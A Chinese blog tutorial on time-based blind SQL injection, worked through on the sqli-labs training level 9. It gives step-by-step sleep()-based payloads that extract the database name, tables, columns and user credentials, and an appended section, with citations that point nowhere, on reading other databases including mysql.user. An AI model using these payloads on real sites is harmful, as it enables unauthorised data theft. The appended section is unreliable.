时间盲注(延迟注入)

时间盲注简介

时间盲注又称延迟注入,个人理解,适用于页面不会返回错误信息,只会回显一种界面,其主要特征是利用sleep函数,制造时间延迟,由回显时间来判断是否报错
官方理解:利用sleep()或benchmark()等函数让mysql执行时间变长经常与if(expr1,expr2,expr3)语句结合使用,通过页面的响应时间来判断条件是否正确。if(expr1,expr2,expr3)含义是如果expr1是True,则返回expr2,否则返回expr3。(除了看不懂,哪都好)。

利用sql-labs第九关进行实操演示

判断闭和符号

由于页面无法返回正确或错误的值,所以只能通过if加sleep函数解决问题

if(判断语句,x,y)如果判断语句正确则输出X,否则输出Y
sleep(X)函数,延迟X秒后回显
if(1=1,1,sleep(1))即输出一
if(1=2,1,sleep(1))即延迟一秒后回显

刚刚就闭合符号进行了一点思索,结果就是如果构成闭合,则会执行闭合后的代码,且闭合内部的代码并不会被执行(这样就可以很好解释这次的闭合符号了)
在这里插入图片描述
反应了三秒,所以证明闭合符号为’

判断库名长度

?id=1' and if(length(database())>8,sleep(2),0) --+

在这里插入图片描述

判断库名

?id=1' and if(ascii(substr(database(),1,1))=115,sleep(2),0) --+
此为判断第一个字母的ascii码是否为115

在这里插入图片描述判断第二个字母为e
在这里插入图片描述以此类推,数据库名为security

判断表名

?id=1’ and if(ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit x,y),z,d))=e,sleep(1),0)–+
其中x代表第x+1个表,y表示第x+1往后y个单位的表,z表示第几个字母,d表示z往后d个单位的字母

?id=1’ and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,sleep(1),0)--+

在这里插入图片描述
得第一个表的第一个字母的ascii码为101,即为e

?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),2,1))=109,sleep(3),0)--+

第一个表得第二个字母ascii码为109,即为m

在这里插入图片描述
以此类推,第一个表名为emails
但是我们要找寻user,所以逐个尝试

?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),1,1))=117,sleep(3),0)--+


第四个表名得一个字母为我们所寻找的user中的u

在这里插入图片描述

判断列名

?id=1’ and If(ascii(substr((select column_name from information_schema.columns where table_name=‘users’ and table_schema=database() limit x,y),z,d))=105,sleep(2),1)–+
x:第x+1个列,y:x+1个列往后y个单位,z:x+1列的第一个字母,d:第一个字母往后的第z个单位

?id=1' and If(ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1),1,1))=105,sleep(2),1)--+

第一列的第一个字母为i
在这里插入图片描述

?id=1' and If(ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1),2,1))=100,sleep(2),1)--+

第二字母为d

在这里插入图片描述
依次往下爆,得到
第一列:id
第二列:username
第三列:password

爆数据

?id=1' and If(ascii(substr((select username from users limit 0,1),1,1))=68,sleep(2),1)--+

第一个字母为D
在这里插入图片描述

?id=1' and If(ascii(substr((select username from users limit 0,1),2,1))=117,sleep(2),1)--+

第二个字母为u
在这里插入图片描述

依次类推得到
username:Dumb
password:Dumb

总结

就时间盲注和布尔盲注来说,本质上都差不多,但是操作起来都太麻烦了。
手注,只是了解原理,真正实战还是要借用工具,比如sqlmap之类的。

### SQL 时间盲注中的跨库注入技术方法 时间盲注是一种通过观察数据库响应的时间差异来推断查询结果的SQL注入方式。当目标系统无法返回任何错误消息或有效数据时,攻击者可以利用时间延迟函数(如 `SLEEP()` 或 `BENCHMARK()`),使数据库在满足特定条件时延缓响应。 #### 数据库架构与权限需求 要实现跨库注入,首先需要了解MySQL或其他关系型数据库支持多数据库实例的特点。默认情况下,用户仅能访问其具有权限的目标数据库[^1]。然而,在某些配置下,如果当前会话拥有足够的权限,则可以通过指定其他数据库名称的方式读取不同数据库的内容。例如: ```sql SELECT table_name FROM information_schema.tables WHERE table_schema='other_database'; ``` 上述语句展示了如何从`information_schema`元数据库中检索名为`other_database`的数据库内的所有表名列表[^2]。 #### 利用时间延迟函数探测敏感信息 为了适应时间盲注场景,可将常规的布尔逻辑替换为基于时间的操作符。比如下面的例子演示了如何逐字符猜测另一个数据库里的用户名字段值: ```sql IF(SUBSTRING((SELECT user FROM mysql.user LIMIT 1 OFFSET X),Y,1)>'m', SLEEP(5), NULL); ``` 这里假设X代表第几个用户的索引位置,Y表示欲提取字符串的位置。此命令会让服务器在所选字符大于'm'的情况下暂停五秒钟再继续处理请求[^3]。 #### 实际应用注意事项 尽管理论上可行,但在实际操作中有几点需要注意: - **性能影响**: 频繁调用像`SLEEP()`这样的功能会对生产环境造成显著压力甚至崩溃风险[^4]; - **防御机制**: 许多功能可能已被管理员禁用以防止滥用;另外还有WAF(Web Application Firewall)等防护措施阻止恶意行为的发生; - **合法性考量**: 执行此类活动通常违反服务条款并触犯法律,请务必确保行动处于合法授权范围内进行测试用途而已!
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值